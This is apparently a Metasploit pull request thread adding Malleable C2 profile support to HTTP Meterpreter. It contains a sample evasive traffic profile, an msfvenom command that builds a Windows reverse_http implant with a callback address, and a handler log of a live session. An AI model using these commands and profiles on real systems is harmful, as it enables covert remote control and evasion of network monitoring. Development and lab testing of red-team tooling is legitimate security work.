Initial support for Malleable C2 Profiles in HTTP Meterpreter
IGNORE - WORK IN PROGRESS -- Also waiting for @smcintyre-r7 to fire up a staging branch to PR this against (it's not going to master)
Initial support for Malleable C2 profiles (HTTP(S) only).
NOTE: Associated payloads PR is over here, and has a couple of things still to do before ready.
This PR contains changes to provide initial support for malleable C2 features stored in a .profile file (such as this).
Given the nature of how Meterpreter works, and how payloads are generated, there are a lot of C2 profile features that can't be supported without drastic changes. The intent here is to focus on the transport-specific details around HTTP payloads.
These changes are BREAKING changes, for a few reasons, and hence will not be backwards-compatible with payloads from older framework versions. Whatever you do, do not try to upgrade to this version if you're mid-engagement.
Summary of changes
- Configuration block has been completely rejigged. The old configuration block was outdated and unnecessarily verbose and confusing. It should have been an inline-TLV packet instead, that would have provided more flexibility and future-proofing. Hence, this PR contains the changes that supports a TLV-based configuration block.
- Transport-specific TLV identifiers changed to
C2to fit with the new vernacular. These IDs are different to the old ones. - C2 configurations have been extended to support many more parameters that are specific to HTTP.
- A new option called
MALLEABLEC2has been added to thereverse_http(s)listener which allows the user to specify a path to the.profile. This profile is loaded and, where relevant, use to configure the HTTP parameters. - The HTTP handler has been modified a bit to attempt to cover cases where the UUID is not specified in the URI.
- A small but insane "bug" was uncovered in handling POST requests that have query string parameters. That has been fixed to a certain extent here. I'll raise another issue to discuss a wider change to properly remove this craziness. It wasn't done here because I didn't want to cause breakages to things that relied on this code behaving the way it does.
Detailed discussion
Configuration Block
The config block isn't a block any more. It's a TLV packet with it's own type. It's treated the same as any other packet, but doesn't get encrypted (only XOR-ed). Configuration can contain these TLVs:
TLV_TYPE_SESSION_EXPIRY = TLV_META_TYPE_UINT | 700 # Session expiration time
TLV_TYPE_EXITFUNC = TLV_META_TYPE_UINT | 701 # identifier of the exit function to use
TLV_TYPE_DEBUG_LOG = TLV_META_TYPE_STRING | 702 # path to write debug log
TLV_TYPE_EXTENSION = TLV_META_TYPE_GROUP | 703 # Group containing extension info
TLV_TYPE_C2 = TLV_META_TYPE_GROUP | 704 # a C2/transport grouping
TLV_TYPE_C2_COMM_TIMEOUT = TLV_META_TYPE_UINT | 705 # the timeout for this C2 group
TLV_TYPE_C2_RETRY_TOTAL = TLV_META_TYPE_UINT | 706 # number of times to retry this C2
TLV_TYPE_C2_RETRY_WAIT = TLV_META_TYPE_UINT | 707 # how long to wait between reconnect attempts
TLV_TYPE_C2_URL = TLV_META_TYPE_STRING | 708 # base URL of this C2 (scheme://host:port/uri)
TLV_TYPE_C2_URI = TLV_META_TYPE_STRING | 709 # URI to append to base URL (for HTTP(s)), if any
TLV_TYPE_C2_PROXY_HOST = TLV_META_TYPE_STRING | 710 # Host name of proxy
TLV_TYPE_C2_PROXY_USER = TLV_META_TYPE_STRING | 711 # Proxy user name
TLV_TYPE_C2_PROXY_PASS = TLV_META_TYPE_STRING | 712 # Proxy password
TLV_TYPE_C2_GET = TLV_META_TYPE_GROUP | 713 # A grouping of params associated with GET requests
TLV_TYPE_C2_POST = TLV_META_TYPE_GROUP | 714 # A grouping of params associated with POST requests
TLV_TYPE_C2_HEADERS = TLV_META_TYPE_STRING | 715 # Custom headers
TLV_TYPE_C2_UA = TLV_META_TYPE_STRING | 716 # User agent
TLV_TYPE_C2_CERT_HASH = TLV_META_TYPE_RAW | 717 # Expected SSL certificate hash
TLV_TYPE_C2_PREFIX = TLV_META_TYPE_RAW | 718 # Data to prepend to the outgoing payload
TLV_TYPE_C2_SUFFIX = TLV_META_TYPE_RAW | 719 # Data to append to the outgoing payload
TLV_TYPE_C2_ENC = TLV_META_TYPE_UINT | 720 # Request encoding flags (Base64|URL|Base64url)
TLV_TYPE_C2_PREFIX_SKIP = TLV_META_TYPE_UINT | 721 # Size of prefix to skip (in bytes)
TLV_TYPE_C2_SUFFIX_SKIP = TLV_META_TYPE_UINT | 722 # Size of suffix to skip (in bytes)
TLV_TYPE_C2_UUID_COOKIE = TLV_META_TYPE_STRING | 723 # Name of the cookie to put the UUID in
TLV_TYPE_C2_UUID_GET = TLV_META_TYPE_STRING | 724 # Name of the GET parameter to put the UUID in
TLV_TYPE_C2_UUID_HEADER = TLV_META_TYPE_STRING | 725 # Name of the header to put the UUID in
TLV_TYPE_C2_UUID = TLV_META_TYPE_STRING | 726 # string representation of the UUID for C2s
These new C2 TLVs are used for all transports, not just the HTTP ones. From the list above it should be obvious which ones are used by HTTP(S) only.
A TLV_TYPE_C2 is a single instance of a transport, that could be TCP, or it could be malleable HTTP. There can be many of them in the configuration.
What's important to note for HTTP(S) is that there are 3 sets of options. One is default, or top-level, and those values appear outside of the http-(get|post) sections of the profile. These are also used by the standard Meterp payloads that don't use a C2 profile. Then there are GET- and POST- specific blocks that override those default values. They are specified in the TLV_TYPE_C2_GET and TLV_TYPE_C2_POST blocks. The values that can be set/overridden are:
TLV_TYPE_C2_URI
TLV_TYPE_C2_HEADERS
TLV_TYPE_C2_UA
TLV_TYPE_C2_PREFIX
TLV_TYPE_C2_SUFFIX
TLV_TYPE_C2_ENC
TLV_TYPE_C2_PREFIX_SKIP
TLV_TYPE_C2_SUFFIX_SKIP
TLV_TYPE_C2_UUID_COOKIE
TLV_TYPE_C2_UUID_GET
TLV_TYPE_C2_UUID_HEADER
The configuration block can have multiple instances of the TLV_TYPE_EXTENSION as well, each of which has a raw data block, size and initialisation script.
Config blocks should have been TLVs from the outset. The person who came up with the original design should be ashamed of themselves :)
Binary Modifications
Meterpreter doesn't, by nature, provide the means to support most binary-specific things that something like Cobalt Strike does. Implementing those features was not part of the scope of this bit of work, instead the focus was on the HTTP transport, in an effort to make it easier to configure Metepreter's network behaviour. This means we can look less like Meterpreter on the wire.
UUID handling
One of the limitations that we have is that we rely on the transport-specific UUID to identify the incoming session. This UUID needs to be maintained across the requests, and we used to just rely on this being in the URI. Malleable C2 profiles allow us to specify different locations for the id (the UUID in our case). This is made a little more complex because of the way that stageless payloads work.
Stageless payloads have a UUID baked into them. That UUID contains a mode value that is set to :init_connect. When a stageless payload is invoked, and the first request is made to MSF, the UUID is extracted and MSF sees the mode has come from the stageless payload because of this :init_connect mode. It immediately generates a new UUID with a mode set to :connect. This new UUID is returned to the Meterpeter instance, and from there the new UUID is used for every future request. This means that we have the ability to know when difference instances of the stageless payload are invoked and hence multiple runs of the same payload don't tread on each other's toes.
In the past, ever single Meterpreter session would call back on a URI with the format /LURI/UUID. After a payload was staged and a session established, each Meterp session would register a passive packet handler with the server/listener with the /LURI/UUID, which made it easy for incoming requests to be linked with the appropriate Meterpreter session, as it was a simple key-value lookup based on the full URI.
With malleable C2 profiles comes the ability to GET and POST to different URIs, as well as put the UUID in different locations (URI, query string, custom header, etc). This means that we can't rely on /LURI/UUID as an identifier any more. Therefore this PR contains some code that changes the way that the incoming requests are mapped to Meterpreter sessions.
Note that any Meterpreter HTTP payloads that do not make use of Malleable C2 profiles work as they used to, with the usual parameters. These will continue to use /LURI/UUID on incoming requests as they always have done.
Keyword support
As mentioned, not all keywords are supported because they don't match with the way Meterpreter works. Here's an example of a profile that covers what's currently supported:
# Default user agent to use unless overridden in GET/POST config
set useragent "Mozilla/6.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like Gecko";
# Get-specific configuration
http-get {
# This overrides the global uri
set uri "/ucD";
# This overrides the global useragent
set useragent "Custom GET User Agent/v1.0";
client {
# Custom headers going out in every GET request
header "Cache-Control" "no-cache";
header "Connection" "Keep-Alive";
header "Pragma" "no-cache";
header "Accept" "text/html, image/jpg, */*;q=0.8";
header "Accept-Language" "en-US,en;q=0.5";
header "Referer" "https://www.google.com/";
header "Host" "www.nope.com";
# Custom query string parameters set from Meterp to MSF in each GET
parameter "get" "true";
# Indicate how to handle the UUID in GET requests
metadata {
# NOT YET supported, but coming
base64url;
# use either `header` or `parameter` (not both)
#header "X-METERP-UUID";
parameter "dontlookhere";
uri-append;
}
}
server {
# Custom headers going out in response to every GET request
header "Content-Type" "application/octet-stream";
header "Connection" "Keep-Alive";
header "Server" "Apache";
# Indicates how MSF should wrap up the packet before sending to Meterp
output {
prepend "Server Prepended 3";
prepend "Server Prepended 2";
prepend "Server Prepended 1";
print;
append "Server Appended 1";
append "Server Appended 2";
append "Server Appended 3";
}
}
}
# POST-specific configuration
http-post {
# This overrides the global uri
set uri "/ucW";
client {
header "Cache-Control" "no-cache";
header "Connection" "Keep-Alive";
header "Pragma" "no-cache";
header "X-Totes-Legit" "true";
parameter "test" "true";
id {
# NOT YET supported, but coming
base64url;
# use either `header` or `parameter` (not both)
header "X-METEPRETER-ID";
#parameter "TOTESLEGIT";
uri-append;
}
# Indicates how Meterp should modify the packet before sending
# via POST to MSF
output {
prepend "\r\n\tThis is line 1\xFF";
prepend "This is line 2";
prepend "This is line 3";
append "This is line 4";
append "This is line 5";
append "This is \"line\" 6";
# NOT YET supported, but coming
base64;
print;
}
}
server {
# Custom headers going out in response to every GET request
header "Content-Type" "application/octet-stream";
header "Connection" "Keep-Alive";
header "Server" "Apache";
# Output sent in response to POST requests
output {
prepend "Server Prepended 1";
prepend "Server Prepended 2";
prepend "Server Prepended 3";
print;
append "Server Appended 2";
append "Server Appended 2";
append "Server Appended 3";
}
}
}
Encoding stuff will be done shortly.
It's important to note that a few parameters are "global" and are overridden in POST and GET specific blocks. Those parameters are:
-
uri -
useragent -
parameter -
header
HTTP Handler modifications
As discussed, we can't rely on the UUID being in the URI any more so we needed a smarter way to associate sessions with incoming requests.
Any entity registering itself with the http server to handle requests specifies which URI it wants to handle. This is used as a lookup to match requests with handlers. Each of those URIs starts with the /. Using this same feature, any Metepreter session that has been established, registers itself with the listener with the transport's UUID, without using the / prefix. Therefore the handler has a key-value lookup that contains a mixture of:
-
/SOME/LURI=> HTTP Request Handler -
UUID=> Meterpreter Client Passive Handler
When a request comes in, the handler will look to see if there's any associated UUID extraction function attached to the object that's stored in the MsfExploit parameter. This doesn't exist for standard HTTP listeners, and as a result, it falls back to the URI and matches the handler based on that. For Metepreter-specific HTTP listeners, a function exists that looks in the associated request for the connection ID (ie. the UUID) that is based on the configuration of that listener. When invoked, the function extracts the UUID from the incoming request and returns it. The server can then use that UUID as a key to lookup the associated client passive handler that is handling that particular session.
This means that UUID extraction is specific to the listener's configuration, and specific to the meterpreter session.
This method is up for discussion, but it seemed like the functionality to extract the UUID should be configured based rather than an attempt to find the value anywhere in the request every time one came in.
The HTTP Packet/Request bug
Check out link incoming for discussion on this issue.
Verification
The best way to make sure that things work as expected is to watch the traffic over Wireshark or via a proxy of some kind. It's hard to see it otherwise!
- [ ] Start
msfconsole - [ ] Choose a C2 profile as a baseline template (such as this) and put it on disk somewhere.
- [ ] Create a stageless handler and payload for
windows/(x64/)meterpreter_reverse_http(s)and make sure that theMALLEABLEC2option is set to/path/to/test.profile - [ ] Execute said payload and make sure it works.
I would recommend sticking with windows/meterpreter_reverse_http to start with so that you can use Wireshark to look at the traffic and make sure that the requests and responses contain all the things they should contain.
There are lots of things that need to be tested in various combinations. Bearing in mind that there are a set of keywords that don't make a difference to Meterp, and hence are ignored. Worth testing are:
- [ ] Encoding options for incoming/outgoing data (
base64andbase64urlin thehttp-post/client/outputandhttp-get/server/outputsections). - [ ] Payload wrapper options for incoming/outgoing data (
prependandappendin thehttp-post/client/outputandhttp-get/server/outputsections). - [ ] Changing the location of the UUID in the payload (
headerandparameteroptions in thehttp-post/client/idandhttp-get/client/metadatasections). Make sure that when you useheader "MY-CUSTOM-HEADER"that the UUID appears in the request asMY-CUSTOM-HEADER: <uuid>and when you useparameter "mygetparam"that the request contains a query string parameter that looks like...&mygetparam=<uuid>. - [ ] Setting various
headerandparametervalues in thehttp-(get|post)/(client|server)sections. - [ ] Setting various global options, such as
urianduseragentand overriding them in thehttp-(get|post)sections.
Also bear in mind that the following should be tested:
- [ ] Configuration block TLV is encoded with a random XOR key each time, just like any other TLV packet.
- [ ] Validate that the
EXTENSIONSandEXTINIToptions still work. - [ ] Migration works, including across architectures.
- [ ] Payloads that don't use
MALLEABLEC2should work as they did before.
Sample Runs
Sample generation of payload:
oj@msf-dev:~/code/metasploit-framework$ ./msfvenom -f exe -p windows/x64/meterpreter_reverse_http LHOST=192.168.100.139 MeterpreterDebugBuild=TRUE LPORT=4444 LURI=/foo MALLEABLEC2=/home/oj/code/meterpreter.profile -o /tmp/met.exe
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x64 from the payload
WARNING: Local file /home/oj/code/metasploit-framework/data/meterpreter/metsrv.x64.debug.dll is being used
WARNING: Local files may be incompatible with the Metasploit Framework
No encoder specified, outputting raw payload
Payload size: 289092 bytes
Final size of exe file: 295424 bytes
Saved as: /tmp/met.exe
Handler setup and interaction:
oj@msf-dev:~/code/metasploit-framework$ ./msfconsole -qx 'use multi/handler; set payload windows/x64/meterpreter_reverse_http; set lport 4444; setg lhost 192.168.100.139; set luri /foo; set MALLEABLEC2 /home/oj/code/meterpreter.profile; setg ExitOnSession false; setg MeterpreterDebugBuild TRUE; run -j'
WARNING: Local file /home/oj/code/metasploit-framework/data/meterpreter/dump_sam.x64.debug.dll is being used
WARNING: Local files may be incompatible with the Metasploit Framework
... snip all the local dll warnings ...
[*] Starting persistent handler(s)...
[*] Using configured payload generic/shell_reverse_tcp
payload => windows/x64/meterpreter_reverse_http
lport => 4444
lhost => 192.168.100.139
luri => /foo
MALLEABLEC2 => /home/oj/code/meterpreter.profile
ExitOnSession => false
MeterpreterDebugBuild => TRUE
WARNING: Local file /home/oj/code/metasploit-framework/data/meterpreter/metsrv.x64.debug.dll is being used
[*] Exploit running as background job 0.
[*] Exploit completed, but no session was created.
[*] Started HTTP reverse handler on http://192.168.100.139:4444/foo
msf6 exploit(multi/handler) >
[!] http://192.168.100.139:4444/foo handling request from 192.168.100.140; (UUID: 4976irfv) Without a database connected that payload UUID tracking will not work!
[*] http://192.168.100.139:4444/foo handling request from 192.168.100.140; (UUID: 4976irfv) Redirecting stageless connection from /foo with UA 'Mozilla/6.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like Gecko' to /iwUl_F8Al5AzFDIWW53jTAOFsfdA_fEoeAwlQmXe8hNJ1eoO6MM5y7dud-1AZ_yhURWLYDTK8zQ30XC4lTM0JYbx-uBm9LoI_m_7t9mtAD3m
[!] http://192.168.100.139:4444/foo handling request from 192.168.100.140; (UUID: 4976irfv) Without a database connected that payload UUID tracking will not work!
[*] http://192.168.100.139:4444/foo handling request from 192.168.100.140; (UUID: 4976irfv) Attaching orphaned/stageless session...
[!] http://192.168.100.139:4444/foo handling request from 192.168.100.140; (UUID: 4976irfv) Without a database connected that payload UUID tracking will not work!
WARNING: Local file /home/oj/code/metasploit-framework/data/meterpreter/ext_server_stdapi.x64.debug.dll is being used
WARNING: Local file /home/oj/code/metasploit-framework/data/meterpreter/ext_server_priv.x64.debug.dll is being used
[*] Meterpreter session 1 opened (192.168.100.139:4444 -> 192.168.100.140:54500) at 2025-07-30 17:57:14 +1000
sessions -1
[*] Starting interaction with 1...
meterpreter > sysinfo
Computer : MSFDEV
OS : Windows 11 24H2+ (10.0 Build 26100).
Architecture : x64
System Language : en_GB
Domain : WORKGROUP
Logged On Users : 2
Meterpreter : x64/windows
meterpreter > getuid
Server username: msfdev\oj
meterpreter > transport list
Session Expiry : @ 2025-08-06 17:57:12
ID Curr URL Comms T/O Retry Total Retry Wait
-- ---- --- --------- ----------- ----------
1 * http://192.168.100.139:4444/foo/ 300 3600 10
meterpreter >
TODO
- [x] Support the encoding flags (coming soon)
- [x] Support custom headers in the HTTP server responses
- [ ] Add Malleable C2 profile support to the
transport addcommand - [ ] Add support to Python Meterp
- [ ] Add support to Java/Android Meterps
- [ ] Add support to PHP Meterp
- [ ] Add support to Mettle
Thanks for the comments folks, I will validate in the morning. Getting close to having this out of draft at least. I appreciate the effort so far :)
I think I'm at the point where the only things are non-blockers and it's probably worth testing a LOT, and for everyone to decide on how to change any crappy design decisions, before implementing this in the other meterps.
I'll remove the draft status from this PR as soon as I'm able to modify it to point to a 6.5 branch (as I'm not sure I should be the one to create such a thing).
:crown:
Hello @OJ, I was testing the compatibility with other meterpreters with these changes on, can you confirm that right now, until we port this new format, every other meterpreter has the reverse_http transport is broken? I have tried with payload/python/meterpreter/reverse_tcp and it isn't working as expected. Thanks!
Hello @OJ, sorry for the misunderstaning regarding the other Meterpreters, I understood it was a breaking change but for some reason I was thinking it was still handling other meterpreter requests. so after reviewing the approach in my opinion we are in a good spot, the only note I would like to do is.
Is there any situation where we want to make sure the passive handlers aregistered on the UUID should be behind the LURI itself (in the case the MALLEABLE_C2 is nil?) i am thinking about situation where we have meterpreter behind an HAProxy or something similar. how bad would be to convert the passive handler from UUID to LURI/UUID ?
Other than that I think we are good, I also maybe found the rootcause of breaking inside Windows 7. I think it may be related to some URL encoding that on Windows 10 is handled automagically and in Windows 7 require probably some more love. with python I had to force a urllib.parse.quote() to send the UUID properly. Hope this can help further. We can sync in the metasploit slack if you would like more direct conversation in that regards.